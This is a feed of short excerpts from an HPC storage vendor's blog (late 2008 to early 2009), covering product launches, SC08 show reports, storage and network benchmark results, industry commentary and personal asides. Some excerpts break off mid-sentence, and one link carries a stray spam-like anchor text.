https://blog.scalability.org/2009/01/question-for-accelerator-users-or-those-thinking-of-using-accelerators/ Wed, 07 Jan 2009 00:06:31 +0000 https://blog.scalability.org/2009/01/question-for-accelerator-users-or-those-thinking-of-using-accelerators/ Ok, this is somewhat business related, I want to have a sense of what it is would make the most sense for you to have. For example, there are nice CUBLAS libs now. And some FFT implementations. What else do people need? Are you adopting an accelerator platform because the tools you need are there? Or are you resisting adopting the platform because of missing tools? What platforms are you looking at adopting and why? https://blog.scalability.org/2009/01/ot-root-canal/ Wed, 07 Jan 2009 00:02:05 +0000 https://blog.scalability.org/2009/01/ot-root-canal/ Went in for my root canal today. Took them 7 X-tips to numb me up. Last week they tried preping the area and 10 didn’t do it (and that is the limit). Turns out they didn’t hit the right spot. They had to drill deep to get it. For those who don’t know, X-tip is wonderful. Though it hurts for 2-3 seconds as they drill and start depositing the anesthetic. That and it leaves an awful taste. https://blog.scalability.org/2009/01/rumors-of-rumors/ Mon, 05 Jan 2009 18:07:02 +0000 https://blog.scalability.org/2009/01/rumors-of-rumors/ /. has a link to a Microsoft RIF rumor. And I heard from a number of sources about a big blue RIF. I have heard from a number of sources of rumors at Dell and others. AMD lost quite a few, including the father of the stream benchmark. There are likely others out there I haven’t covered/mentioned. https://blog.scalability.org/2009/01/color-me-impressed/ Mon, 05 Jan 2009 05:17:51 +0000 https://blog.scalability.org/2009/01/color-me-impressed/ Ok … I had gone off on the OFED build/installation scripts for v1.3 and before, noting that it required that I do lots of patching, as the build environment … basically wrappers around rpmbuild, made distro specific assumptions. I don’t have a problem with using rpmbuild. RPMs annoy me in general, as they have been little more than a moving target, and sadly rendered effectively incompatible across distros. Not just the binary ones, but the source RPMs are very hard to build on any but the target distro. https://blog.scalability.org/2009/01/banned-word-lists-maybe-we-need-them-in-hpc/ Mon, 05 Jan 2009 04:20:48 +0000 https://blog.scalability.org/2009/01/banned-word-lists-maybe-we-need-them-in-hpc/ Saw this mentioned all over the web … Quite a few of them are good. I like the “not so much” phrase though … sad to see it in need of banning. I liked the carbon footprint explanation. What a business model … heh … Ok. What words should we ban in HPC? Back when I was at SGI, we used to make fun of the marketeers with their “breakthrough”. Hence, I nominate “breakthrough”. https://blog.scalability.org/2009/01/raid-backup/ Fri, 02 Jan 2009 17:35:17 +0000 https://blog.scalability.org/2009/01/raid-backup/ (for my fortran bretheren, != -> .ne. ) On /. is an object lesson in what not to do for valuable data. Backups are important. This cannot be stressed enough. More to the point, there are many things that are not backups. Snapshots come to mind. Yet we see people use them in this manner. In this day and age with “dedup” the fad d’jour (all it does is make each block that much more valuable, and important not to have go away …) backup is ever more important. https://blog.scalability.org/2009/01/an-enjoyable-read/ Thu, 01 Jan 2009 20:25:29 +0000 https://blog.scalability.org/2009/01/an-enjoyable-read/ This presentation on diversity in HPC. Diversity of HPC … machines, OSes, architectures … and comments from the author. Very good read. Did I mention it was good? https://blog.scalability.org/2008/12/blasting-through-heavy-loads/ Wed, 31 Dec 2008 20:24:28 +0000 https://blog.scalability.org/2008/12/blasting-through-heavy-loads/ Previously I had told you about octobonnie. 8 simultaneous bonnies run locally to beat the heck out of our servers. If we are going to catch a machine based problem, it will likely show up under this wilting load. But while that is a heavy load, it is nothing like what we have going on now. I am sitting here in the office monitoring one of our boxes being tested by a customer before they put it into production (oil and gas market), as they load it from their cluster. https://blog.scalability.org/2008/12/happy-new-year-to-all/ Wed, 31 Dec 2008 19:58:57 +0000 https://blog.scalability.org/2008/12/happy-new-year-to-all/ Ok, a little early for those in NA, but late for those in Oz and about past it for India, but as you can see from WorldTimeZone, its coming to europe/mid-africa as I write this…. happy new years to you all https://blog.scalability.org/2008/12/i-saw-a-link-to-this-this-evening/ Tue, 30 Dec 2008 06:09:04 +0000 https://blog.scalability.org/2008/12/i-saw-a-link-to-this-this-evening/ The ruins of Detroit. Look for the Michigan Central Rail Road station, and see if you recognize this from the recent Transformers movie. The building is near Mexican Town, south-ish of the old Tiger Stadium. https://blog.scalability.org/2008/12/this-is-not-the-right-direction/ Tue, 30 Dec 2008 04:54:43 +0000 https://blog.scalability.org/2008/12/this-is-not-the-right-direction/ … a weak dollar is a good dollar. Makes our exports more desireable. [ ](http://finance.yahoo.com/q/bc?s=USDGBP=X&t=1y&l=on&z=m&q=l&c=) From Yahoo, linked back to the page. Really, we need that dollar lower. Makes exporters happy. https://blog.scalability.org/2008/12/pure-unabridged-speculation-guessing-really-on-my-part/ Tue, 30 Dec 2008 03:35:22 +0000 https://blog.scalability.org/2008/12/pure-unabridged-speculation-guessing-really-on-my-part/ Ok. I read something while I was semi-concious during my recent defeat at the hands of a 72 hour bug (that positively whupped me upside the head, stomach and other parts). I read Cisco is coming out with blade servers. Ok. Here is the 2 + 2 = 3 moment. Yeah, assume I am off the mark. Pure speculation. Shai, feel free to tell me here that I am full of it. https://blog.scalability.org/2008/12/the-economy-and-hpc-part-2/ Tue, 30 Dec 2008 03:13:18 +0000 https://blog.scalability.org/2008/12/the-economy-and-hpc-part-2/ Ok, so the last post left you feeling like you should just spin up some Pink Floyd on the turntable … er … ok … I am dating myself here (turntable? sheesh). What I posited in the last post was that HPC has value. And it should be treated as such. But I also noted a few things. First: Short term credit for business is pretty much non-existent. This impacts all HPC providers, smaller ones with fewer capital reserves harder than larger ones with capital reserves. https://blog.scalability.org/2008/12/the-economy-and-hpc/ Tue, 30 Dec 2008 01:36:32 +0000 https://blog.scalability.org/2008/12/the-economy-and-hpc/ John West at InsideHPC.com covers a very important issue … that being the meltdown of the economy, and its impact upon HPC, specifically HPC expenditure. Being on the vendor side of this I can offer my observations and make some suggestions. First, allow me to note something that might not be too obvious to those in academia or government labs. There is no credit in the market. There is effectively zero ability to borrow new capital to fund parts purchases for HPC vendors outside of their existing credit facilities. https://blog.scalability.org/2008/12/the-beatings-will-continue-until-morale-improves/ Mon, 29 Dec 2008 21:52:18 +0000 https://blog.scalability.org/2008/12/the-beatings-will-continue-until-morale-improves/ Noooooooooooooooooooooooooooooooooo!!!! [whimper] [update] Mitch Albom goes a bit further. Says what needs to be said. https://blog.scalability.org/2008/12/were-back/ Mon, 29 Dec 2008 21:27:40 +0000 https://blog.scalability.org/2008/12/were-back/ yup … a nice little down time courtesy of business class internet with SLAs … even though this is the home office, still … annoying. Considering rehosting at work … https://blog.scalability.org/2008/12/under-the-weather/ Sun, 28 Dec 2008 02:29:31 +0000 https://blog.scalability.org/2008/12/under-the-weather/ … which is why I haven’t commented on a number of interesting things. Hope to return to full capability over the next few days. Some bug decided to kick me hard a few hours after I wrote the previous post. Rehydrating and recovering. https://blog.scalability.org/2008/12/the-night-before-xmas/ Wed, 24 Dec 2008 18:33:10 +0000 https://blog.scalability.org/2008/12/the-night-before-xmas/ Twas the night before xmas, and all through the HPC solutions house, the disks were moving, just not the mouse … The workers had gone home to their families, and shipped the last JackRabbit of the year, while the benchmarker cackled and tuned, making the ΔV faster. https://blog.scalability.org/2008/12/initial-v4-numbers/ Thu, 18 Dec 2008 23:50:50 +0000 https://blog.scalability.org/2008/12/initial-v4-numbers/ Thought a few people would like to see this. 8GB RAM machine, 24 drives, 36TB raw, 31.5 raw after RAID6 with 1 hot spare. 29TB usable (there is some serious rounding error in many of the tools as I have discovered last night :( 1 TiB = 1.0995 1TB, and 29T = 31.8 TB … go figure …) root@dv4:~# df -h /data Filesystem Size Used Avail Use% Mounted on /dev/md0 29T 24G 29T 1% /data and the file root@dv4:~# ls -alFh /data/big. https://blog.scalability.org/2008/12/this-is-a-good-idea/ Thu, 18 Dec 2008 13:47:49 +0000 https://blog.scalability.org/2008/12/this-is-a-good-idea/ [ ](http://www.theregister.co.uk/2008/12/16/windows_for_submarines_rollout/) the line about “almost never need to give their command systems autonomous firing authority” does little to comfort me. Given the apparent ease at which external regimes can crack into the US DoD machines via virus/malware on windows systems … this … well … doesn’t strike me as the smartest idea I have ever heard. It gives the phrase “blue screen of death” a whole new, and quite unwelcome, meaning. https://blog.scalability.org/2008/12/i-keep-forgetting-why-rbls-are-such-a-bad-idea/ Tue, 16 Dec 2008 16:10:21 +0000 https://blog.scalability.org/2008/12/i-keep-forgetting-why-rbls-are-such-a-bad-idea/ Oh yeah. Thats why. Thanks AT&T;, we really appreciate it. https://blog.scalability.org/2008/12/whats-more-frightening/ Tue, 16 Dec 2008 14:04:33 +0000 https://blog.scalability.org/2008/12/whats-more-frightening/ The insecurity and potential compromise of serious and exploitable “mis-feature” in a browser (causing the browser maker to suggest using a competitive browser platform), or the security theatre at all of the banks we deal with who write their web pages specifically for that browser, so that no other browsers will work properly with it, regardless of platform, and whose representitives insist in meetings with you that they are indeed secure … see the little lock they ask me derisively? https://blog.scalability.org/2008/12/missing-functionality-finally-added/ Tue, 16 Dec 2008 03:02:20 +0000 https://blog.scalability.org/2008/12/missing-functionality-finally-added/ I have commented in the past on the … er … uh … missing 64 bit Java plugins for Linux and other OSes. Well, Sun appears to have finally addressed this. Good job Sun. Better (6 years) late than never. https://blog.scalability.org/2008/12/power-outage-at-day-job/ Sun, 14 Dec 2008 15:59:11 +0000 https://blog.scalability.org/2008/12/power-outage-at-day-job/ Some sort of fire at a local substation knocked power offline. Mail may bounce … my apologies. Will try to re-route to here for the moment until we can get power restored. I have to verify that the building owner will allow generators on the premises … [update] power is back up. New generator sitting in the loading bay area. Manual setup when we need it. Not needed now as the power came back on just when we were delivering the generator. https://blog.scalability.org/2008/12/gpu-hmmer-is-released/ Sun, 14 Dec 2008 02:56:32 +0000 https://blog.scalability.org/2008/12/gpu-hmmer-is-released/ From the mailing list … https://blog.scalability.org/2008/12/sun-closes-networkcom-to-new-users/ Wed, 10 Dec 2008 05:38:41 +0000 https://blog.scalability.org/2008/12/sun-closes-networkcom-to-new-users/ The Register has an article on this. As I noted in the previous post (the linked article really), ASP reborn is a hard model to make work. You have to deliver what customers want, and do so inexpensively. Amazon is succeeding at this in spades. Sun originally had the right idea … then someone decided to make Network.com into a massive Solaris marketing tool rather than a resource you could run what you needed. https://blog.scalability.org/2008/12/cloud-computing-article-up-on-linux-magazine/ Wed, 10 Dec 2008 02:20:44 +0000 https://blog.scalability.org/2008/12/cloud-computing-article-up-on-linux-magazine/ My article on Cloud Computing is up. Only one equation. I promise! https://blog.scalability.org/2008/12/co-inky-dink-coincidence/ Mon, 08 Dec 2008 16:09:55 +0000 https://blog.scalability.org/2008/12/co-inky-dink-coincidence/ Every now and then we look to see how people have found our web site. Usually a search engine is involved. So today, I found someone googling “JackRabbit Delta-V” and thought “Hey, people are starting to get to know our product names!” I’d been worried as I had discovered shortly after we got our trademarks on JackRabbit, that Apache has a “JackRabbit” project. No overlap, I am not worried about brand dilution. https://blog.scalability.org/2008/12/why-oh-why-will-i-never-learn/ Mon, 08 Dec 2008 00:34:18 +0000 https://blog.scalability.org/2008/12/why-oh-why-will-i-never-learn/ Working on a proposal document for a (prospective) customer. In some things Word is a little smarter than OO3. I did most of the spreadsheet work on OO3 and saved the excel document. Started the proposal in OO3 as well. Thought, to myself … “ok, why not boot the laptop into windows and use Word”. After all, it won’t bite me in the rear … hah hah … it would never do that … and like … I dunno … FAIL TO SAVE … and then CRASH after it FAILS TO SAVE … thus taking hours of work down with it. https://blog.scalability.org/2008/12/i-loved-the-headline/ Thu, 04 Dec 2008 23:43:26 +0000 https://blog.scalability.org/2008/12/i-loved-the-headline/ The day job showed up on the local news, Great Lakes IT report. I loved the title … Huge New Storage Machines From Canton Firm FWIW: WWJ is the local AM radio station (950AM) that my car radio is tuned to about 1/2 the time. :) https://blog.scalability.org/2008/12/mmmmm-coffee-mmmmm/ Wed, 03 Dec 2008 01:49:09 +0000 https://blog.scalability.org/2008/12/mmmmm-coffee-mmmmm/ well … er … ah … ok. mmmmmm …. coffee …. mmmmmm … well … its Nescafe … not Kona. So maybe not really coffee … Being a former computational physics type, I had to warm my coffee on the processors … https://blog.scalability.org/2008/12/announcing-v/ Wed, 03 Dec 2008 00:30:09 +0000 https://blog.scalability.org/2008/12/announcing-v/ Have a look here for the PDF version, or below for the text version. ** Scalable Informatics Enables Companies To Do More While Spending Less With Low-Cost High Performance Storage Appliances** Canton, MI - December 2, 2008 - Scalable Informatics (www.scalableinformatics.com), provider of high performance computing and storage solutions, announced the introduction of Delta-V, their latest storage appliance providing outstanding performance and reliability at an exceptional price. A Delta-V 3 unit was demonstrated at SC08, the international conference for high performance computing, networking, storage and analysis, in downtown Austin in mid-November, 2008 in support of Pervasive Software. https://blog.scalability.org/2008/12/new-day-job-web-site-check-it-out/ Wed, 03 Dec 2008 00:21:50 +0000 https://blog.scalability.org/2008/12/new-day-job-web-site-check-it-out/ Doug has been trying to convince me that he could do a better job with the CMS tools and some cranking out basic design (I like simple …), than I could at hacking code. Have a look here. The JackRabbit site was also folded in The (now former) website we had up was an MVC based application using Catalyst. I used jQuery for the effects … yadda yadda yadda. This meant I coded it. https://blog.scalability.org/2008/12/the-register-on-sun-whats-a-company-to-do/ Tue, 02 Dec 2008 14:46:35 +0000 https://blog.scalability.org/2008/12/the-register-on-sun-whats-a-company-to-do/ A good read over at the Register on the trials and tribulations at Sun. Yeah, I know, shortly after I post this, our sites are gonna get DDoSed. Seems to happen all the time (any post that doesn’t paint Sun as a glowing ball of hot plasma … seems to disagree with some groups out there). The basic premise is that Sun is in the not so enviable position of its valuation being approximately equal to its pile of cash. https://blog.scalability.org/2008/12/competitive-benchmarks/ Tue, 02 Dec 2008 14:07:21 +0000 https://blog.scalability.org/2008/12/competitive-benchmarks/ Ok, we wouldn’t benchmark these machines in quite the way these folks did, but there are some useful nuggets within. Also, these folks appear to be skirting the “do not talk about Nehalem performance” requirement of getting early access Nehalem. See this link. The interesting benchmarks show up around page 9. Interesting though, regardless. Java people ought to love Shanghai. Not to many others though. And the Nehalem performance “hints” left one’s jaw on the floor. https://blog.scalability.org/2008/12/another-paul-graham-piece-worth-a-read/ Tue, 02 Dec 2008 01:31:47 +0000 https://blog.scalability.org/2008/12/another-paul-graham-piece-worth-a-read/ Paul Graham writes quite a few essays. Some are ok, some are really good. This is one of the latter. With a slight rewording, I can replace placing “checks” on “programmers” to introducing “barriers” to “HPC consumers”. Seriously, his statement on costs is quite consistent with a dictum I often mutter … er … say: Every decision has a cost. A decision to use a certain prescribed subset of vendors guarantees you will not get the benefits of an open collection set of vendors. https://blog.scalability.org/2008/12/msft-vista/ Mon, 01 Dec 2008 13:28:37 +0000 https://blog.scalability.org/2008/12/msft-vista/ I read a/. linked blog on ComputerWorld.UK this morning. In it was a most amusing characterization of Vista: The post goes on to suggest that upgrades are over as a business. I am not convinced this is true, but their point is that things like OpenOffice are pretty good. Well, yes. OO3 is actually quite good. I use it on Linux, on Windows. Even on Vista (long story, daughters future laptop … shhh … don’t tell her … would like to get her using Linux, maybe we will … lets see). https://blog.scalability.org/2008/11/an-interesting-yet-fictional-cautionary-tale/ Sat, 29 Nov 2008 15:34:28 +0000 https://blog.scalability.org/2008/11/an-interesting-yet-fictional-cautionary-tale/ From TheFunded.com: Link to original is here. It starts out like this … I recommend reading it all. It reminds me as similar to Arthur C Clarke’s short story “Superiority”. A different side of this. [Update] I just noticed that the link doesn’t show all the text. It is supposed to be public. So I will reproduce it here. https://blog.scalability.org/2008/11/motherboards/ Thu, 27 Nov 2008 16:18:34 +0000 https://blog.scalability.org/2008/11/motherboards/ One thing we continuously struggle with are users who decide to get the lowest cost (and often lowest quality) motherboards. You wind up spending so much extra time/effort to get these things to work correctly, that it completely overwhelms any cost savings you may have even thought to realize by buying them. Have one of these now. System refuses to boot a more modern kernel … some driver somewhere hangs. This isn’t our system, we wouldn’t sell MBs like this. https://blog.scalability.org/2008/11/roundup-of-oss-cluster-stacks-please-let-me-know-what-you-use/ Wed, 26 Nov 2008 18:04:22 +0000 https://blog.scalability.org/2008/11/roundup-of-oss-cluster-stacks-please-let-me-know-what-you-use/ I am looking at new cluster stacks for a number of reasons. We have one internally (Tiburon) which is quite flexible and powerful, but I don’t want to push it out just yet (have some additional bits to deal with). I’d like to hear what people are using out there. Ones I am not interested in are Rocks and derivatives, Oscar. I am interested in xCAT2, and any others out there as stacks. https://blog.scalability.org/2008/11/when-communities-pick-their-friends-and-enemies/ Wed, 26 Nov 2008 17:59:17 +0000 https://blog.scalability.org/2008/11/when-communities-pick-their-friends-and-enemies/ I recently had a run in with one of the “leaders” of a cluster management system. This person decided I went over the line in reporting on a security issue, our forensics, and how to go about helping prevent it in the future. Previously, I had been warned for daring to point to a benchmark document. Despite being a contributer to and a supporter of this technology, this offering, having written articles on it for magazine publication, having helped many customers use it … this “leader” decided that I had crossed a line. https://blog.scalability.org/2008/11/the-elements-of-success-in-accelerator-technology/ Mon, 24 Nov 2008 21:03:29 +0000 https://blog.scalability.org/2008/11/the-elements-of-success-in-accelerator-technology/ Some time ago, I had posited that the right approach to building a viable business in accelerators was to target ubiquity. It is worth revisiting some of this and delving into how to make accelerator use painless. Basically, for people to get real value out of accelerators, they have to provide enough benefit over the life of the host platform such that the investment can be recouped. This is the fundamental raison d’etre for accelerators. https://blog.scalability.org/2008/11/sc08-the-wrap-up-probably-part-1/ Sun, 23 Nov 2008 13:56:36 +0000 https://blog.scalability.org/2008/11/sc08-the-wrap-up-probably-part-1/ SC08 has been over for a few days. I have multiple impressions, and will try to outline them here. Please post your impressions as well. First: Being in Pervasive Software’s booth was great. They are a great group, with an interesting product. As they noted, most HPC is not Java, and they get that it won’t be for the forseeable future. That said, I think they got lots of good feedback from potential consumers of their product. https://blog.scalability.org/2008/11/sc08-day-2-as-the-market-tumbles/ Thu, 20 Nov 2008 05:10:45 +0000 https://blog.scalability.org/2008/11/sc08-day-2-as-the-market-tumbles/ One of the aspects about being on a show floor all day, talking to partners, and prospective customers, is that you sort of have to ignore whats going on around you in the market outside of the walls of the center. The stock market closed below 8000 today. Some of the more traditional HPC stocks have been whalloped. Like SGI. On a day when the market dropped 5%, they dropped 16. https://blog.scalability.org/2008/11/sc08-day-1-more-detailed-video-for-datarush/ Wed, 19 Nov 2008 05:55:17 +0000 https://blog.scalability.org/2008/11/sc08-day-1-more-detailed-video-for-datarush/ https://blog.scalability.org/2008/11/sc08-day-wrap-up/ Wed, 19 Nov 2008 05:17:47 +0000 https://blog.scalability.org/2008/11/sc08-day-wrap-up/ I saw many things at SC08 … first off, most of the people we saw running disks were running some sort of multi-pipe direct attached storage with RAID0’s. Yeah, this shows bandwidth real well. Not how users really run them, but it shows some nice inflated numbers. Compare this with a RAID10 running over a single iSCSI 10 GbE connection. Most folks are used to slow iSCSI, and can’t believe our numbers, until they see them. https://blog.scalability.org/2008/11/sc08-day-1-fixstars-and-terrasoft/ Wed, 19 Nov 2008 04:56:56 +0000 https://blog.scalability.org/2008/11/sc08-day-1-fixstars-and-terrasoft/ Fixstars is there with its recent acquisition of Terrasoft. Fixstars makes very interesting Cell accelerator cards, and we can place them into units like Pegasus for deskside, and JackRabbit and ΔV for server applications. This looks to be the first viable Cell accelerator card. Terrasoft was pretty good with the OS/tools side of things, so hopefully the combination of these two will result in good challenger to GPUs. Pricing is close to where it needs to be. https://blog.scalability.org/2008/11/sc08-day-1-mpi-hmmer-and-its-gpu-port-are-generating-excitement/ Wed, 19 Nov 2008 04:52:56 +0000 https://blog.scalability.org/2008/11/sc08-day-1-mpi-hmmer-and-its-gpu-port-are-generating-excitement/ We have spoken to a whole bunch of people about mpiHMMer and the incredible work JP has done on it. For those who don’t know, mpiHMMer is an MPI implementation of the HMMer code base. JP is working on getting it into the nVidia booth/machines, and will run a few demos tomorrow for people. [Let me know if you would like to see it](mailto:joe@scalability.org?subject=mpiHMMer demo). If you are not sure why it is interesting, consider that it has a multiple GPU version that JP benchmarked at more than 100x performance gain. https://blog.scalability.org/2008/11/sc08-day-1-pervasive-softwares-mike-hoskins-talks-about-datarush/ Wed, 19 Nov 2008 04:47:43 +0000 https://blog.scalability.org/2008/11/sc08-day-1-pervasive-softwares-mike-hoskins-talks-about-datarush/ https://blog.scalability.org/2008/11/sc08-day-0-missed-the-beowulf-bash/ Tue, 18 Nov 2008 03:59:05 +0000 https://blog.scalability.org/2008/11/sc08-day-0-missed-the-beowulf-bash/ This wasn’t on purpose. We got there a little late, saw a line outside the door … which didn’t move … :( https://blog.scalability.org/2008/11/sc08-day-0-part-3/ Mon, 17 Nov 2008 22:27:42 +0000 https://blog.scalability.org/2008/11/sc08-day-0-part-3/ This show is for the birds …. the pidgeons that is … the ones wandering near the booth. I hope that … er … ah … nothing gets into the machines … Not exactly bugs, but it is possible that someone could tell you that your machine is full of pidgeon droppings … and mean it in a literal sense. https://blog.scalability.org/2008/11/sc08-day-0-part-2/ Mon, 17 Nov 2008 21:38:40 +0000 https://blog.scalability.org/2008/11/sc08-day-0-part-2/ Ok, we have the machines set up in the Pervasive Software booth, #203. Had a power hiccup (e.g. Joe knocked the power out while moving the rack) so we used this as an excuse to reconfigure the RAID to its RAID10 state. There really was no advantage to the RAID0 version, and the risk of problems was higher. RAID should be resynched in another 53 minutes. We have a single 10 GbE handling all the traffic … looks like Windows didn’t like sending traffic simultaneously on both links. https://blog.scalability.org/2008/11/sc08-day-0-monday-morning/ Mon, 17 Nov 2008 16:52:37 +0000 https://blog.scalability.org/2008/11/sc08-day-0-monday-morning/ Here we are, sitting in that most important spot, by the coffee, waiting for our cohorts and colleagues … Austin is a nice place… the SC08 map is kinda … I dunno … a little small-ish? Some of us [old : Dougs suggestion, talking about me] folks can’t quite read it … https://blog.scalability.org/2008/11/sc08-come-see-v3-in-pervasive-softwares-booth/ Sun, 16 Nov 2008 05:08:42 +0000 https://blog.scalability.org/2008/11/sc08-come-see-v3-in-pervasive-softwares-booth/ Make sure you look at their data mining demo. DataRush (as indicated in the previous post) is a cool technology, and we are happy to be helping out. Pervasive Software has a vision for data intensive HPC that aligns well with what we have been saying. Personal supercomputing has been something we have been talking about for about 8 years, since I developed CT-BLAST. That was a tool to completely hide the pain of dealing with clusters for running one application, NCBI BLAST. https://blog.scalability.org/2008/11/another-side-of-hpc-data-intensive-hpc/ Sun, 16 Nov 2008 04:46:55 +0000 https://blog.scalability.org/2008/11/another-side-of-hpc-data-intensive-hpc/ We have called this other names in the past, but basically data intensive HPC is pretty much anything that involves streaming huge amounts of data past processing elements to effect the calculation or analysis at hand. This type of HPC is not usually typified by large linear algebra solvers, so things like HPCC and LINPACK are less meaningful characterizations for data intensive performance, as this often relies upon significant IO firepower, as well as many cores. https://blog.scalability.org/2008/11/the-business-side-of-hpc/ Sat, 15 Nov 2008 18:10:08 +0000 https://blog.scalability.org/2008/11/the-business-side-of-hpc/ … is like any other business, there are ups and downs. Companies in HPC, as core HPC companies, and those with HPC practices are not immune to state of economy as a whole. If spending drops precipitously, business needs to re-adjust, and re-align. It definitely hurts if you are one of those … re-aligned. I have been there, and done that. I have been “re-aligned” twice, during downturns. The most recent time has been during the last bubble in 2002. https://blog.scalability.org/2008/11/looks-like-the-updated-security-measures-are-holding/ Thu, 13 Nov 2008 06:04:36 +0000 https://blog.scalability.org/2008/11/looks-like-the-updated-security-measures-are-holding/ Quite early in the process, but we see probes have dropped off. Some of this may be due to the IP level (draconian) restrictions. The outline of the new security measures are as follows: The user has to have a valid VPN certificate to ssh to the system. Users cannot share a certificate. This isn’t simply policy, it is enforced on a technological level. outgoing traffic is pretty much restricted to VPN, and set specific ports. https://blog.scalability.org/2008/11/more-v-numbers-as-a-direct-attached-storage-to-a-windows-2008-x64-server/ Wed, 12 Nov 2008 02:30:17 +0000 https://blog.scalability.org/2008/11/more-v-numbers-as-a-direct-attached-storage-to-a-windows-2008-x64-server/ This is over a single 10 GbE link, using a pair of Intel cards with the ixgbe driver, and a CX-4 cable. The ΔV is configured in one of our two basic modes, in this case, a RAID10 unit. It is exporting an about 3.5TB partition over iSCSI to the Windows 2008 x64 Server box. This is an Intel dual Woodcrest 2.66 GHz box with 4 GB RAM. I wanted to see what the bandwidth limits are. https://blog.scalability.org/2008/11/quick-v-performance-numbers-for-the-box-going-to-sc08/ Tue, 11 Nov 2008 03:38:12 +0000 https://blog.scalability.org/2008/11/quick-v-performance-numbers-for-the-box-going-to-sc08/ I thought people might like to see this: root@dV3:~# dd if=/dev/zero of=/big/big.file ... 2048+0 records in 2048+0 records out 34359738368 bytes (34 GB) copied, 97.0368 s, 354 MB/s root@dV3:~# dd if=/big/big.file of=/dev/null ... 2048+0 records in 2048+0 records out 34359738368 bytes (34 GB) copied, 57.4585 s, 598 MB/s and some bonnie++ Version 1.03b ------Sequential Output------ --Sequential Input- --Random- -Per Chr- --Block-- -Rewrite- -Per Chr- --Block-- --Seeks-- Machine Size K/sec %CP K/sec %CP K/sec %CP K/sec %CP K/sec %CP /sec %CP dV3 16G 360487 53 162147 32 542351 45 610. https://blog.scalability.org/2008/11/now-we-are-talking-peta-flops-baby/ Mon, 10 Nov 2008 21:24:37 +0000 https://blog.scalability.org/2008/11/now-we-are-talking-peta-flops-baby/ A petaflop here, a petaflop there, and soon we are talking about real performance https://blog.scalability.org/2008/11/partner-updates-coming-soon-and-a-product-announcement-as-well/ Sat, 08 Nov 2008 17:21:43 +0000 https://blog.scalability.org/2008/11/partner-updates-coming-soon-and-a-product-announcement-as-well/ Should have some exciting news around the day job and a partnership we are working on. Will be in time for the SC08 show. Also, we should have some product announced soon. Real soon. Very exciting stuff for us … We have already sold one (as of yesterday, we have the PO), and I am hoping to have one or more sold by early next week. Not “game changing” from a technological perspective as Henry Newman posited on a blog post recently, but from other perspectives, it very well could be. https://blog.scalability.org/2008/11/looks-like-there-are-problems-with-seagates-15tb-drive-firmware/ Sat, 08 Nov 2008 16:24:10 +0000 https://blog.scalability.org/2008/11/looks-like-there-are-problems-with-seagates-15tb-drive-firmware/ We have customers interested in using these drives. So we are looking into getting some. I am seeing some awful reports on the fora about buggy firmware. The response from Seagate doesn’t appear to be good. First they say they don’t support Linux, then they say they don’t support RAID with these (despite small local RAIDs being on their list of best fit applications). Now they claim it is a Linux problem, and the folks on the kernel list … um … disagree. https://blog.scalability.org/2008/11/ok-this-isnt-terrible/ Fri, 07 Nov 2008 14:23:07 +0000 https://blog.scalability.org/2008/11/ok-this-isnt-terrible/ NFS over RDMA between a pair of JackRabbit systems with a Mellanox Connect-X card and a direct cable. We are getting about 500 MB/s +/- some on reads, and about 300 MB/s +/- a bit on writes. Not great, but actually in line with what is observed here. See the NFS over RDMA plots near the middle. This is about 1/3 of the available disk bandwidth on reads, and a little less than a 1/3 on writes. https://blog.scalability.org/2008/11/some-quick-iperf-numbers-for-connect-x/ Fri, 07 Nov 2008 05:03:29 +0000 https://blog.scalability.org/2008/11/some-quick-iperf-numbers-for-connect-x/ On this blog, we have done some testing of Connect-X using OFED 1.3.1. This is on Ubuntu 8.04, and not on RedHat. Yes, we have a mostly functional OFED 1.3.1 we distribute on JackRabbit (and soon ΔV) I wanted to see what sort of performance we could get out of a single port DDR connection between two units. On the server, I ran iperf -s and on the client I ran iperf -c 10. https://blog.scalability.org/2008/11/doing-some-testing-on-a-pair-of-jackrabbits/ Thu, 06 Nov 2008 03:35:50 +0000 https://blog.scalability.org/2008/11/doing-some-testing-on-a-pair-of-jackrabbits/ The Connect-X cards arrived this morning, so we are late in shipping the units to the customer. Ugh, but manageable. Most everything is ready, about to launch octobonnie on it for the burn. Octobonnie is an example of an extreme stress test. We stress [rent a car bulgariaJackRabbit](http://jackrabbit.scalableinformatics.com) hard during basic testing. As a result, we learned quite a bit about how this system comes up and performs. Startup is fine, though PCI-e busses and bioses what they are, every now and then PCI-e x8 cards negotiate at x1. https://blog.scalability.org/2008/11/parse-this-devsda2-no-really-i-want-you-to-parse-this-not-interpolate-it/ Sat, 01 Nov 2008 05:03:19 +0000 https://blog.scalability.org/2008/11/parse-this-devsda2-no-really-i-want-you-to-parse-this-not-interpolate-it/ For some of the lower level tools we are developing for ΔV (and for JackRabbit), we need to parse device strings. That look like this “/dev/sda1”. We have been doing this for years with the Perl Getopt::Long module. Well, something interesting happened today. I need to dig into it, but it looks like a (bad) change to some of the standard Perl libraries installed on this machine (Ubuntu based with our kernel). https://blog.scalability.org/2008/10/ever-have-something/ Fri, 31 Oct 2008 22:23:49 +0000 https://blog.scalability.org/2008/10/ever-have-something/ … that you really really want to talk about … but you can’t in any depth? … but it would be an awesome story if you did … … but you can’t … Yeah, we have one of those now. And it is about JackRabbit. All I think I can say (and I am still picking my jaw up off the floor), is 50x. https://blog.scalability.org/2008/10/agami-has-left-the-building/ Fri, 31 Oct 2008 11:48:51 +0000 https://blog.scalability.org/2008/10/agami-has-left-the-building/ I should have posted this back when it happened, but I seem to have let it slip. An article in the Merc has some information on Agami going bust. I had seen “Scalable Storage Systems” announce its existence, but hadn’t heard details. And for some strange reason, I never looked into why Agami wasn’t there anymore. In this economy, companies imploding is nothing we shouldn’t expect. If anything, this economy has largely decimated the myth that small companies are more likely to go under than large companies. https://blog.scalability.org/2008/10/quotes/ Fri, 31 Oct 2008 05:05:29 +0000 https://blog.scalability.org/2008/10/quotes/ A bit OT, but I thought it would be fun to share. Someone on linkedin asked this question in an entrepreneur list. What quotes inspire you the most? The first is a George Bernard Shaw quote: This makes me think of entrepreneurs as “unreasonable men”. We try to get the world, or at least our chunk of it, to see the value in what we do. The second is a Robert Heinlein quote, from one of my favorite books: https://blog.scalability.org/2008/10/financial-updates-in-a-dangerous-economy/ Tue, 28 Oct 2008 23:11:47 +0000 https://blog.scalability.org/2008/10/financial-updates-in-a-dangerous-economy/ John West at InsideHPC.com pointed to an article at Barron’s about SGI. Before I get into this, I want to note that I had wondered whether or not we would continue to see (massive) oscillations in the market, as it effectively dissipated valuation, or if it would start tending towards an asymptotic lower limit … testing the bottom as it were. It seems that the forces that are driving the economy are continuing to drive valuation out of the market. 